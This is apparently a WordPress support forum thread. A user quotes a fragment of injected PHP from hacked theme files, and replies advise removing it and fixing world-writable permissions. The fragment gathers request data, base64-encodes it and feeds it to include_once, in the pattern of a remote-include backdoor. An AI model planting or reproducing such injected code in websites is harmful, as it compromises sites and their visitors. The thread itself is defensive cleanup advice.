   SERVER_NAME); $c=(isset($_SERVER[“REQUEST_URI”]) ? $_SERVER[“REQUEST_URI”] : 
   $REQUEST_URI); $g=(isset($_SERVER[“HTTP_USER_AGENT”]) ? $_SERVER[“HTTP_USER_AGENT”]:

   $c).”.”.base64_encode($g).”.”.base64_encode($h).”.”.base64_encode($n);if((include_once(

 * well, I didn’t take the time to decode it but I sure don’t think you want it 
   there.
 * I’d remove it and I’d then check the file permissions on those theme files and
   make sure they’re not world writable.

 * Yup Thanks Handy – searched a bit more – and its been happening to a bunch of
   folks whose files are writable – i have removed and changed file permissions.
